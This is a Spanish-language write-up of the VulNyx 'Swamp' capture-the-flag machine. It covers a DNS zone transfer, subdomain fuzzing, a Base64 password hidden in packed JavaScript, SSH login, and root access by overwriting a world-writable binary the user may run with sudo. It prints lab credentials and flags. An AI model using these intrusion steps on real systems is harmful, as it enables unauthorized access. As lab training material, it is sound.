Swamp Vulnyx (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-26 03:09 EDT
Nmap scan report for 192.168.5.89
Host is up (0.00099s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_  256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
53/tcp open  domain  ISC BIND 9.18.28-1~deb12u2 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.18.28-1~deb12u2-Debian
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Did not follow redirect to http://swamp.nyx
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:6E:84:6B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.16 seconds

Veremos varias cosas interesantes, entre ellas el puerto 80 y el puerto 53 (DNS), primero vamos a ver el puerto 80 a ver que vemos, entrando dentro del mismo veremos que nos intenta cargar un dominio llamado swamp.nyx, por lo que vamos a meterlo en el archivo hosts.

nano /etc/hosts

#Dentro del nano

<IP>              swamp.nyx

Una vez guardado, volveremos a entrar en el puerto 80 y nos cargara una pagina con una imagen simplemente sin nada mas, por lo que vamos a realizar un poco de fuzzing a ver que vemos.

DNS

Si realizamos un escaneo de DNS para ver que encontramos respecto al dominio veremos varios nombres que podrian servir para un subdominio, por lo que vamos a crear una lista con dichos subdominios.

dig axfr swamp.nyx @<IP>

Info:

; <<>> DiG 9.20.4-4-Debian <<>> axfr swamp.nyx @192.168.5.89
;; global options: +cmd
swamp.nyx.              604800  IN      SOA     ns1.swamp.nyx. . 2025010401 604800 86400 2419200 604800
swamp.nyx.              604800  IN      NS      ns1.swamp.nyx.
d0nkey.swamp.nyx.       604800  IN      A       0.0.0.0
dr4gon.swamp.nyx.       604800  IN      A       0.0.0.0
duloc.swamp.nyx.        604800  IN      A       0.0.0.0
f1ona.swamp.nyx.        604800  IN      A       0.0.0.0
farfaraway.swamp.nyx.   604800  IN      A       0.0.0.0
ns1.swamp.nyx.          604800  IN      A       0.0.0.0
shr3k.swamp.nyx.        604800  IN      A       0.0.0.0
swamp.nyx.              604800  IN      SOA     ns1.swamp.nyx. . 2025010401 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 192.168.5.89#53(192.168.5.89) (TCP)
;; WHEN: Tue Aug 26 03:22:49 EDT 2025
;; XFR size: 10 records (messages 1, bytes 309)

Ahora vamos a realizar un fuzzing con dicha lista:

subdomains.txt

d0nkey
dr4gon
duloc
f1ona
farfaraway
ns1
shr3k

FFUF

ffuf -c -t 200 -w subdomains.txt -H "Host: FUZZ.swamp.nyx" -u http://swamp.nyx/ -fs 0

Info:


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://swamp.nyx/
 :: Wordlist         : FUZZ: /home/kali/Desktop/swamp/subdomains.txt
 :: Header           : Host: FUZZ.swamp.nyx
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

farfaraway              [Status: 200, Size: 557, Words: 145, Lines: 25, Duration: 15ms]
f1ona                   [Status: 200, Size: 497, Words: 140, Lines: 25, Duration: 15ms]
duloc                   [Status: 200, Size: 508, Words: 142, Lines: 25, Duration: 17ms]
d0nkey                  [Status: 200, Size: 594, Words: 187, Lines: 31, Duration: 17ms]
shr3k                   [Status: 200, Size: 4809, Words: 1961, Lines: 138, Duration: 17ms]
dr4gon                  [Status: 200, Size: 498, Words: 140, Lines: 24, Duration: 19ms]
:: Progress: [7/7] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

Veremos que funciona todos, por lo que vamos añadirlos en el archivo hosts para entrar en cada uno de ellos a ver que vemos.

nano /etc/hosts

#Dentro del nano

<IP>            swamp.nyx d0nkey.swamp.nyx dr4gon.swamp.nyx duloc.swamp.nyx f1ona.swamp.nyx farfaraway.swamp.nyx ns1.swamp.nyx shr3k.swamp.nyx

Lo guardamos y probamos a entrar en cada uno de ellos a ver que vemos interesante, si entramos en el subdominio llamado farfaraway.swamp.nyx veremos en el codigo fuente un script que en los demas no esta.

Escalate user shrek

<script src="script.min.js"></script>

Entrando dentro del codigo de JavaScript veremos un codigo ofuscado de tipo packet por lo que vamos a decodificarlo.

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('!M(){1C e;9 1D((e,t)=>{11(()=>{e("1y z 1z: 5")},1L)}).1I(e=>{6.7(e)}).1j(e=>{6.F(e)});8 t=1G e=>{1M{8 t=1g(1g 1l(e)).1p();6.7("1q 1l 2c:",t)}1j(o){6.F("1k 27 1d:",o)}};t("2d://2k.2h.2f/2g"),(()=>{8 e=k.26("1S");e.1T="1P 1V 22 R J 23",k.2b.1X(e)})();1W o{1Y(e,t){B.j=e,B.Q=t}C(){6.7(`${B.j}1Z:${B.Q}`)}}8 a=9 o("1O","1Q"),l=9 o("1R","24");a.C(),l.C();8 r=[1,2,3,4,5],n=r.2i(e=>2*e);6.7("2j 17:",n);8 s=r.2e((e,t)=>e+t,0);6.7("28 1i 17:",s);6.7("29 q:",{j:"T",b:30,2a:"1N"}),2l(()=>{6.7("12 1H 1r 1s 2 Z")},1t),k.1u("1v",()=>{6.7("1m 1o 1n J k")});8 g=9 14;6.7("1w W:",g.Y());8 i=9 14(g.1J()+1,g.1K(),g.1F());6.7("1E W:",i.Y());8 c=e=>{e%2==0?6.7(e+" z 1x"):6.7(e+" z 1A")};[10,21,32,1B,1U].V(c),11(()=>{6.7("12 2V 2W 3 Z")},2X);(e=>{8 t=e(10,20);6.7("2N 1c 2P-2R M:",t)})((e,t)=>e+t);8{X:d,13:u,b:h}={X:"31",13:"33",b:25};6.7(`2m:${d}${u},36:${h}`);8 m=9 19;m.N("j","G"),m.N("b",30),m.N("K","1b 1b 37"),6.7("19 15:"),m.V((e,t)=>{6.7(t+": "+e)});8 p=9 18([1,2,3,4,4,5]);6.7("18 15 (2u 2v):",2x.1c(p));8 $=M*e(){E"2s D",E"2p D",E"2q D"}();6.7($.H().A),6.7($.H().A),6.7($.H().A);6.7("2r, T! 2H R J 2I.");2K:2G;8 f=x.1h(\'{"j":"G","b":30}\');6.7("2F x 1d:",f),"O"1e U?U.O.2B(e=>{6.7("2A 2C K:",e.P.2D,e.P.2E)},e=>{6.F("1k 2L K:",e)}):6.7("2J 2z 2y");8 v="    2n z 2o!   ",y=v.2t();6.7("2w 1f:",y);8 S=v.2M();6.7("2Z 1f:",S),I.35("q",x.34({j:"G",b:30}));8 w=x.1h(I.38("q"));6.7("39 q 1e I:",w),6.7("2Q 2O:",L.2S()),6.7("2T 2Y 1i 16:",L.2U(16)),6.7("1a A:",L.1a)}();',62,196,'||||||console|log|let|new||age||||||||name|document||||||user|||||||JSON||is|value|this|speak|part|yield|error|Shrek|next|localStorage|the|location|Math|function|set|geolocation|coords|sound|to||John|navigator|forEach|date|firstName|toString|seconds||setTimeout|This|lastName|Date|values||numbers|Set|Map|PI|Far|from|data|in|string|await|parse|of|catch|Error|fetch|Click|on|detected|json|Data|repeats|every|2e3|addEventListener|click|Current|even|Value|positive|odd|43|var|Promise|Future|getDate|async|message|then|getFullYear|getMonth|1e3|try|USA|Dog|Dynamically|Woof|Cat|div|innerHTML|54|added|class|appendChild|constructor|says|||text|DOM|Meow||createElement|fetching|Sum|Updated|country|body|success|https|reduce|com|posts|typicode|map|Doubled|jsonplaceholder|setInterval|Destructuring|JavaScript|fun|Second|Third|Hello|First|trim|no|duplicates|Trimmed|Array|available|not|Your|getCurrentPosition|current|latitude|longitude|Parsed|c2hyZWs6cHV0b3Blc2FvZWxhc25v|Welcome|page|Geolocation|Password|getting|toUpperCase|Result|number|higher|Random|order|random|Square|sqrt|runs|after|3e3|root|Uppercase||Jane||Doe|stringify|setItem|Age|Away|getItem|Stored'.split('|'),0,{}))

Ahora si lo decodificamos lo veremos de esta forma:

!function()
	{
	var e;
	new Promise((e,t)=>
		{
		setTimeout(()=>
			{
			e("Value is positive: 5")
		}
		,1e3)
	}
	).then(e=>
		{
		console.log(e)
	}
	).catch(e=>
		{
		console.error(e)
	}
	);
	let t=async e=>
		{
		try
			{
			let t=await(await fetch(e)).json();
			console.log("Data fetch success:",t)
		}
		catch(o)
			{
			console.error("Error fetching data:",o)
		}
	};
	t("https://jsonplaceholder.typicode.com/posts"),(()=>
		{
		let e=document.createElement("div");
		e.innerHTML="Dynamically added text to the DOM",document.body.appendChild(e)
	}
	)();
	class o
		{
		constructor(e,t)
			{
			this.name=e,this.sound=t
		}
		speak()
			{
			console.log(`$
				{
				this.name
			}
			says:$
				{
				this.sound
			}
			`)
		}
	}
	let a=new o("Dog","Woof"),l=new o("Cat","Meow");
	a.speak(),l.speak();
	let r=[1,2,3,4,5],n=r.map(e=>2*e);
	console.log("Doubled numbers:",n);
	let s=r.reduce((e,t)=>e+t,0);
	console.log("Sum of numbers:",s);
	console.log("Updated user:",
		{
		name:"John",age:30,country:"USA"
	}
	),setInterval(()=>
		{
		console.log("This message repeats every 2 seconds")
	}
	,2e3),document.addEventListener("click",()=>
		{
		console.log("Click detected on the document")
	}
	);
	let g=new Date;
	console.log("Current date:",g.toString());
	let i=new Date(g.getFullYear()+1,g.getMonth(),g.getDate());
	console.log("Future date:",i.toString());
	let c=e=>
		{
		e%2==0?console.log(e+" is even"):console.log(e+" is odd")
	};
	[10,21,32,43,54].forEach(c),setTimeout(()=>
		{
		console.log("This runs after 3 seconds")
	}
	,3e3);
	(e=>
		{
		let t=e(10,20);
		console.log("Result from higher-order function:",t)
	}
	)((e,t)=>e+t);
	let
		{
		firstName:d,lastName:u,age:h
	}
	=
		{
		firstName:"Jane",lastName:"Doe",age:25
	};
	console.log(`Destructuring:$
		{
		d
	}
	$
		{
		u
	}
	,Age:$
		{
		h
	}
	`);
	let m=new Map;
	m.set("name","Shrek"),m.set("age",30),m.set("location","Far Far Away"),console.log("Map values:"),m.forEach((e,t)=>
		{
		console.log(t+": "+e)
	}
	);
	let p=new Set([1,2,3,4,4,5]);
	console.log("Set values (no duplicates):",Array.from(p));
	let $=function*e()
		{
		yield"First part",yield"Second part",yield"Third part"
	}
	();
	console.log($.next().value),console.log($.next().value),console.log($.next().value);
	console.log("Hello, John! Welcome to the page.");
	Password:c2hyZWs6cHV0b3Blc2FvZWxhc25v;
	let f=JSON.parse('
		{
		"name":"Shrek","age":30
	}
	');
	console.log("Parsed JSON data:",f),"geolocation"in navigator?navigator.geolocation.getCurrentPosition(e=>
		{
		console.log("Your current location:",e.coords.latitude,e.coords.longitude)
	}
	,e=>
		{
		console.error("Error getting location:",e)
	}
	):console.log("Geolocation not available");
	let v="    JavaScript is fun!   ",y=v.trim();
	console.log("Trimmed string:",y);
	let S=v.toUpperCase();
	console.log("Uppercase string:",S),localStorage.setItem("user",JSON.stringify(
		{
		name:"Shrek",age:30
	}
	));
	let w=JSON.parse(localStorage.getItem("user"));
	console.log("Stored user in localStorage:",w),console.log("Random number:",Math.random()),console.log("Square root of 16:",Math.sqrt(16)),console.log("PI value:",Math.PI)
}
();

Veremos estas lineas interesantes:

console.log("Hello, John! Welcome to the page.");
	Password:c2hyZWs6cHV0b3Blc2FvZWxhc25v;
	let f=JSON.parse('
		{
		"name":"Shrek","age":30
	}

Si decodificamos ese Base64 veremos esto:

echo 'c2hyZWs6cHV0b3Blc2FvZWxhc25v' | base64 -d

Info:

shrek:putopesaoelasno

Vamos a probar dichas credenciales por SSH a ver que vemos.

SSH

ssh shrek@<IP>

Metemos como contraseña putopesaoelasno...

Linux swamp 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jan  4 13:12:39 2025 from 192.168.1.33
shrek@swamp:~$ whoami
shrek

Veremos que estaremos dentro, por lo que leeremos la flag del usuario.

user.txt

7d199d72f12135ef193ad19faf9468ef

Escalate Privileges

Si listamos los permisos SUID que hay en el sistema veremos lo siguiente:

find / -type f -perm -4000 -ls 2>/dev/null

Info:

1048992    640 -rwsr-xr-x   1 root     root       653888 Jun 22  2024 /usr/lib/openssh/ssh-keysign
  1062369     52 -rwsr-xr--   1 root     messagebus    51272 Sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1046487     36 -rwsr-xr-x   1 root     root          35128 Oct 18  2024 /usr/bin/umount
  1047858     48 -rwsr-xr-x   1 root     root          48896 Mar 23  2023 /usr/bin/newgrp
  1050027     84 -rwsrwxrwx   1 root     root          85376 Sep 14  2022 /usr/bin/mt-gnu
  1044597     68 -rwsr-xr-x   1 root     root          68248 Mar 23  2023 /usr/bin/passwd
  1044577     72 -rwsr-xr-x   1 root     root          72000 Oct 18  2024 /usr/bin/su
  1046483     60 -rwsr-xr-x   1 root     root          59704 Oct 18  2024 /usr/bin/mount
  1044593     64 -rwsr-xr-x   1 root     root          62672 Mar 23  2023 /usr/bin/chfn
  1074722    276 -rwsr-xr-x   1 root     root         281624 Jun 27  2023 /usr/bin/sudo
  1044596     88 -rwsr-xr-x   1 root     root          88496 Mar 23  2023 /usr/bin/gpasswd
  1061091     36 -rwsr-xr-x   1 root     root          35128 Apr 18  2023 /usr/bin/fusermount3
  1044594     52 -rwsr-xr-x   1 root     root          52880 Mar 23  2023 /usr/bin/chsh
   913960     20 -rwsrwxrwx   1 root     root          17736 Jan  4  2025 /home/shrek/header_checker

Veremos esta linea interesante:

913960  20 -rwsrwxrwx   1 root  root  17736 Jan  4  2025 /home/shrek/header_checker

Si listamos dicho archivo veremos lo siguiente:

-rwsrwxrwx 1 root  root  17736 Jan  4  2025 header_checker

Pero si a demas hacemos sudo -l veremos esto otro:

Matching Defaults entries for shrek on swamp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User shrek may run the following commands on swamp:
    (ALL) NOPASSWD: /home/shrek/header_checker

Podemos ejecutar el binario header_checker como el usuario root, por lo que podremos realizar lo siguiente:

Vamos a limpiar el binario de esta forma:

echo '' > /home/shrek/header_checker

Ahora vamos a meter la siguiente informacion:

#!/bin/bash 

/bin/bash

Lo guardamos y ejecutaremos de esta forma:

sudo /home/shrek/header_checker

Info:

root@swamp:/home/shrek# whoami
root

Vemos que con esto seremos root por lo que leeremos la flag de root.

root.txt

9c7bddee2e2fb8ad03854f106f23c6b5

Last updated